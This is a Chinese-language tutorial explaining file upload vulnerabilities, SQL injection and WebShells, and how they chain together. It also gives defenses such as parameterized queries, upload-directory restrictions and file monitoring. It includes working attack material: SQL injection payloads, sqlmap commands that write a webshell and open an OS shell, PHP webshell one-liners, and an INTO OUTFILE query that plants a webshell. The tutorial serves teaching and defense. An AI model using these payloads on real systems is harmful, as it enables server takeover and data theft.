深入解析三大Web安全威胁：文件上传漏洞、SQL注入漏洞与WebShell

文件上传漏洞

文件上传漏洞（File Upload Vulnerability）

当Web应用允许用户上传文件但未实施充分的安全验证时，攻击者可上传恶意文件（如WebShell、病毒等），进而控制服务器或实施攻击

核心漏洞成因

1，验证缺失：

• 文件类型仅验证MIME类型（易伪造）
• 未验证文件内容签名（如PNG头）
• 未限制危险扩展名（.php, .jsp等）

2，路径控制问题：

• 允许用户控制上传路径
• 未隔离上传目录的执行权限

3，解析漏洞利用：

• Apache：shell .php .jpg 可能被解析为PHP
• IIS：shell .asp; .jpg 被当作ASP执行
• Nginx：shell .jpg/ .php 路径解析漏洞

攻击流程：

高危扩展名示例：

语言	危险扩展名
PHP	.php .phtml .phar
ASP	.asp .aspx .cer
JSP	.jsp .jspx
其他	.htaccess（覆盖配置）

防御方案：

1.文件验证三原则：

• 扩展名白名单（仅允许.jpg/.png等）
• 文件内容签名检测（验证真实类型）
• 重命名文件（使用随机哈希值）

2.权限控制：

# Nginx配置示例：禁止上传目录执行脚本
location ^~ /uploads/ {location ~ \.php$ { deny all; }  # 仅禁止上传目录的PHP执行
}

3.沙箱隔离：

• 使用独立域名托管用户文件
• 云存储服务（如AWS S3）设置只读权限

---

SQL注入漏洞

SQL注入漏洞（SQL Injection）

攻击者通过操纵应用程序的数据库查询，插入恶意SQL代码，从而读取、修改或删除数据库内容

漏洞关键点

?id=1' or 1=1 --+

?id=1 union select database()

等等

注入类型

类型	攻击方式	危害等级
联合查询注入	UNION SELECT 1,@@version,3	⭐⭐⭐⭐
布尔盲注	AND SUBSTR(database(),1,1)=‘a’	⭐⭐⭐
时间盲注	IF(1=1,SLEEP(5),0)	⭐⭐⭐
报错注入	AND GTID_SUBSET(@@version,1)	⭐⭐⭐⭐
堆叠查询	; SHOW TABLES–	⭐⭐⭐⭐

自动化攻击工具

• sqlmap：自动检测并利用SQL注入
• 常用命令

sqlmap -u "http://site.com/?id=1" --dbs
sqlmap -u "http://site.com/?id=1" --file-write=shell.php --file-dest=/var/www/html/shell.php --os-shell

防御策略

1.参数化查询（最佳实践）

# Python示例
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

2.深度防御

• 输入过滤：过滤 ’ " ; –+ 等特殊字符
• 最小权限：数据库账户禁用FILE、DROP等权限
• WAF规则：拦截常见注入模式（如UNION SELECT）

WebShell

WebShell

一种驻留在Web服务器上的恶意脚本文件，为攻击者提供远程控制接口

常见WebShell功能

<?php
if(isset($_GET['cmd'])) {system($_GET['cmd']);
}
?>

最经典的WebShell

一句话木马

<?php @eval($_POST[hhh]); ?>

高级WebShell特性

1.隐蔽通信：

• 加密传输（AES/Base64）
• 伪装成图片文件（<?php ... ?> 后接图片数据）

2.多功能模块：

• 数据库管理
• 文件管理器
• 内网扫描
• 端口转发

植入路径统计

植入方式	占比	典型案例
文件上传漏洞	62%	论坛头像上传
SQL注入写入	28%	利用SQL写文件功能
服务器配置漏洞	7%	FTP弱密码爆破
其他	3%	CMS供应链攻击

检测与清除

1.特征检测：

• 关键词：eval( )、system( )、base64_decode( )
• 文件哈希：对比官方文件校验值

2.行为监控：

# Linux实时监控Web目录
auditctl -w /var/www/html -p wa -k webshell  # 监控write+attribute变更

3.专业工具：

• 开源：河马WebShell查杀、LMD
• 商业：阿里云云盾、腾讯云网站管家

三者的核心关联：攻击链闭环

1.文件上传漏洞 → WebShell

• 直接通道：攻击者利用上传功能将WebShell伪装成图片/文档上传至服务器
• 关键点：绕过文件类型检测（如修改Content-Type为image/jpeg）
• 结果：通过访问上传路径直接获得服务器控制权（如 http://site.com/uploads/shell.jpg）

2.SQL注入漏洞 → WebShell

• 间接通道：当注入点具备 写文件权限（FILE权限 + secure_file_priv宽松）时：

UNION SELECT "<?php system($_GET['cmd']); ?>"
INTO OUTFILE '/var/www/html/shell.php'--+

• 关键点：需已知Web绝对路径（通过报错/暴力猜解获取）
• 结果：在Web目录生成WebShell文件（如 shell.php）

3.WebShell → 扩大攻击面

• 控制服务器：通过WebShell执行命令（如 cat /etc/passwd）
• 反哺漏洞：
  读取服务器配置文件 → 发现数据库账号密码 → 发动更深度SQL注入
  扫描网站源码 → 发现新上传点 → 利用文件上传漏洞二次渗透
• 横向移动：以当前服务器为跳板，攻击内网其他系统

防御关键：切断攻击链

攻击环节	防御措施
文件上传漏洞	文件内容签名校验 + 随机重命名 + 禁用上传目录执行权限
SQL注入漏洞	参数化查询 + 数据库账户降权（禁用FILE权限） + 设置secure_file_priv=NULL
WebShell植入	文件完整性监控（如Tripwire） + Web目录禁用写权限 + 实时扫描恶意脚本